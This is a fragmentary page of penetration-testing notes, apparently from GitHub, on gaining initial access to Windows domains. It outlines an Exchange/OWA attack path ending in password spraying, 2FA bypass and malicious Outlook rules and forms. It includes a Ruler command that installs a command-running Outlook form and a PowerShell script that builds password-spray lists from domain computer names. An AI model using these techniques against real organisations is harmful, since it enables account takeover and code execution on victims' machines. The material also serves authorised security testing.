You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
It is possible to get access by abusing a lot of web attacks which might give you access to the system. There are to many to subscribe here, but I might make a list someday.
Password Attacks
Exchange & OWA
Attack path could be: Reconnaissance --> OWA Discovery --> Internal Domain Discovery --> Naming scheme fuzzing --> Username enumeration --> Password discovery --> GAL Extraction --> More Password discovery --> 2fa bypass --> Remote Access through VPN/RDP / Malicious Outlook Rules or Forms / Internal Phishing
Collection of data (OSINT)
Collect e-mail adresses, usernames, passwords, get the email/user account naming scheme with tools such as:
Run a local Outlook instance using the target's credentials and import the malicious rule you created (File --> Manager Rules & Alerts --> Options --> Improt rules)
Send the trigger email.
Malicious Outlook Forms
If the path is applied that disables Run Application and Run Script rules this still works!
Attack prequisites:
Identification of valid credentials
Exchange service access
KB4011091 for outlook 2016 seems to block VBSCript in forms
.\ruler --email <EMAIL> form add --suffix form_name --input /tmp/command.txt --send
From the inside
Web Attacks2
It is possible to get access by abusing a lot of web attacks which might give you access to the system. There are to many to subscribe here, but I might make a list someday.
With access to the domain its possible to use the following small PowerShell script to get the list of all computer objects and generate a list for the passwords to password spray. From my domain audit tool.
$data = Get-DomainComputer -Credential $Creds -Domain $Domain -DomainController $Server | Select-Object -ExpandProperty samaccountname
$data = $data -replace 'samaccountname', '' -replace '-', ''
$file = "$checks_path\list_computers.txt"
$data | Out-File $file
Write-Host "[W] Writing list of computers to $file"
$data = $data -replace '\$', ''
$file = "$checks_path\list_computers_Pre-Windows2000Computers_pass.txt"
ForEach ($line in $data) {
if ($line.Length -gt 14) {
$line.SubString(0,14) | Out-File -Append $File
}
else {
$line | Out-File -Append $File
}
}
Write-Host "[W] Writing list of passwords to $file"